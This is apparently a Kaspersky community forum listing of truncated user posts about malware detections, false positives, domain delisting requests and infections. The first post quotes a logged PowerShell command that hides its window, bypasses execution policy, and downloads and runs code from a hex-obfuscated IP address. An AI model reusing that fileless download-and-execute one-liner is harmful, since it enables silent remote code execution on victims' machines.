Virus and Ransomware related questions

Hi. So, Kaspersky has detected powershell.exe as a malicious object. It says the object was uid:/amsi_stream_4, a trojan. I've checked Event Viewer and i have two warnings at the time i got a PowerShell window popping up on my screen with the source being "avp" and the info/details i have are: Number: "45399392" Name: "32d87a95" Confidence: "00000000" ProcessSha256: "9785001B0DCF755EDDB8AF294A373C0B87B2498660F724E76C4D53F9C217C7A3" ProcessPath: "c:\windows\system32\windowspowershell\v1.0\powershell.exe" ProcessCommandLine: ""powershell.exe" -nop -exec bypass -w hidden -command "iex(irm 0xc0.0x6d.0xc8.0x3f/event)"" Bases: "2026.02.…

Hello, When I write code in Visual Studio and try to run it, Kaspersky detects my code as a virus/trojan (devenv.exe) and won't let me run it. I can't fix this issue. Can you help me?

Could you please check and delist domain name gleeze.com? All host names associated with security issues were removed as part of our action against abuse. We (dynu.com) are an ICANN accredited domain registrar (IANA ID#3857). Thank you for your assistance.

Hello Kaspersky Community and Lab Team, I am reporting a persistent false positive issue involving a popular RPG game translation and optimization tool called Mtool. Tool Website: https://mtool.app/ Detection Type: Typically flagged as Trojan.Win64.DLLhijack.gen. Involved File: version.dll (located in various game root directories). Description of the Issue: When using Mtool to translate RPG Maker games, the tool places a version.dll file into the game's folder to enable localized text rendering and UI overlays. Kaspersky frequently flags this file as a Trojan or a DLL Hijacking attempt and deletes it. The tool is widely used by the gaming co…

Please remove my site from your blacklist. The has been cleaned, unused themes deleted, kopa framework deleted, and Malcure returns a clean scan. hxxp://purposehousepublishing.com

Hey, I'll keep this brief the antivirus is falseflagging systeminformer and my host file on a new installation of windows I can't provide a screenshot because my entire system is being scanned by tron just DIY, remove the false negative ty

I am having a problem downloading a new version of JTAlert 2.63 as a safe file https : //dnl.hamapps.com/JTAlert/4d040bd0a53ddba77017be8c7886948d which Kaspersky Premium flags as containing a virus. All previous versions prior to 2.63 over the years have downloaded okay with no issues.

https://myaccount.charityexcellence.co.uk and https://www.charityexcellence.co.uk are bringing back data leak warnings with Kapersky. This is a legitimate website that allows charities to search for grants for free.

I'm not Kali user but please don't use Kasersky Removal Tool on Kali machine because it cause too many false alarms or correct alarms comes from HackTools.

Hello, My domain aliexpress[.]ru[.]com is currently being flagged as “Botnet C&C / Malware” by some reputation and security services, including Kaspersky, and I would like to request a review as the issue has already been resolved. The domain is owned and managed by us. It is a WordPress-based website. In the past, the site was temporarily compromised and unintentionally contained malicious scripts and outbound connections, which may have led to the current detection. After identifying the issue, we have taken the following actions: - Removed all malicious scripts, links, and injected code - Eliminated all botnet-related and unauthorized outbo…

false positive they need to fix it It's an website where I usually order and they are safe

Hello, My domain bbq.us.com is being flagged as “Botnet C&C / Malware” by some reputation services, but this is a false positive. bbq.us.com is my own small commercial website for promoting game and blog guides (WordPress + WooCommerce). There is no malware hosted or distributed from this site, no sign-up form Recent scans show: - 0 malware detections - Only normal WordPress assets (HTML, CSS, images, fonts, theme files) I also scanned the hosting account and WordPress installation (core, themes, plugins) and did not find any injected or malicious code. Please review this domain and remove the malicious / Botnet C&C classification if p…

Hello, My domain metehanreset.com is being flagged as “Botnet C&C / Malware” by some reputation services, but this is a false positive. metehanreset.com is my own small commercial website for printer maintenance tools and blog guides (WordPress + WooCommerce). There is no malware hosted or distributed from this site. Recent scans show: - 0 malware detections - Only normal WordPress assets (HTML, CSS, images, fonts, theme files) I also scanned the hosting account and WordPress installation (core, themes, plugins) and did not find any injected or malicious code. Please review this domain and remove the malicious / Botnet C&C classificati…

hi . i'm playing this game . recently game is like a background application that we can't close it .even kaspersky can't ! it remains in background and once they said it's trojan , any way we can close it? ( i have it at task manager running but at (kaspersky app running proggram) no app found with that name ! https://imgur.com/a/xMZaJq8 https://steamcommunity.com/app/1172470/discussions/0/693120921853119808/ https://steamcommunity.com/app/1172470/discussions/0/691997369114401754/ https://steamcommunity.com/app/1172470/discussions/0/691997369114390487/ https://www.reddit.com/r/apexlegends/comments/1p96mqq/apex_dont_stop/ https://www.reddit.co…

In China and other regions, there are some extremely well-known and even essential software applications that are currently plagued by a massive number of pirate websites. This isn't just a matter of one or two, or even ten or twenty sites, but rather a much larger scale of purposeful malicious piracy activity. When searching for the affected applications on search engines, often only one result is the genuine content, while almost all others are pirate sites containing system-intruding viruses. These websites not only perfectly replicate the content of the original pages, but the applications they distribute contain severe malware that compromises the system. …

Hello, I am writing to report a malicious sample currently circulating in pirated game distribution channels. It masquerades as the legitimate libEGL.dll file but contains a cryptocurrency miner. Currently, it has a very low detection rate on VirusTotal (detected only by Huorong and Rising), and it bypasses most major AV engines. Technical Details: Malicious File: libEGL.dll File Size: Approximately 525 KB (Note: Legitimate versions are typically around 377 KB). SHA256: 8bacb2082eb37fd7aed5bb6a7fc766d9937d9f3ed926ae82420d37af754a216c Behavioral Analysis: File Dropping: Creat…

coinarch.net The domain has cheating action by depositing and selling. Please report to security department and catching the owner!!

Please, can you help me out? My HP has been hacked. I think that I am being controlled remotely; I found unknown Windows accounts that I tried to delete, but after I found some other new ones, some group policies were locked, and I can't change them despite the fact that I am the administrator of my laptop. In addition, I think I am part of a network. But I have a stand-alone laptop; I had tried to run the Kaspersky Rescue Disc, but I am not allowed to do it

Hello, why does this warning appear when I access the Mexc website? I never saw any warnings before. Is there something wrong? I'm sure the Mexc website is legitimate. Thanks...

Hello, when i scan with hitman pro my system i get these results: all those files belongs to /kaspersky Lab\SafeBrowser\Common\.... domain_actions.dll Microsoft.CognitiveServices.Speech.core.dll widevinecdm.dll as a thread behavior " suspect " virus total says VirusTotal - File - 8d4d255fec537f9077482e735552f621e24025bb3cd26c54c8b29f705c0f54d1 VirusTotal - File - b6c062a2ed808b3065dfb4268ee5b6f3f5c7f549a4f0756371e76f81860e444f VirusTotal - File - f8b4d90c107b8d5b8629e7b5e21d8435deb66fc120228e09349bbb1ff37039e3 when i delete these files it seems kasperky reinstalls them because on my second rig i dont ha…

1. Initial Context and Symptoms Infection Vector: Likely initiated by running a cracked tool/software. Symptoms: Received unsolicited Microsoft one-time codes and password reset emails. Security Setup: The affected machine runs Windows 10/11 with Kaspersky running in real-time (no alerts). 2. Technical Findings (Forensics) The following critical findings were discovered not through manual user inspection, but through an AI-assisted diagnostic process: AI-Guided Diagnostics: I used an AI Assistant to analyze suspicious system behavior after initial self-detection failed. The AI gui…

This is falsh positive right ?

Greetings! I can't install Kaspersky Premium. I've tried everything, but it always gives me an error during installation. I noticed that I have leftover files from Kaspersky Premium before I formatted the disk, Iin meantime, I delete all leftover files from my computer) but the installation still fails. I can't find the version that was left on the computer with kavremover.exe. Therefore, I'm sending you screenshots where it gives me an installation error

I'm working with Creality Falcon A1 laser, using Falcon Design Space. Today Kaspersky decided that it's a virus and blocked it, deleting most of its files. I didn't know what to do so I clicked disinfect without restarting. Suddenly it started rolling back everything, or so it seemed so. When it finished, there was no icon on the desktop. I tried to run maintenance service of Falcon Design Space, but couldn't fix the issue. Windows said such program doesn't exist. Uninstalled Kaspersky and removed all Falcon files. Now I can't even install it again. I'm furious!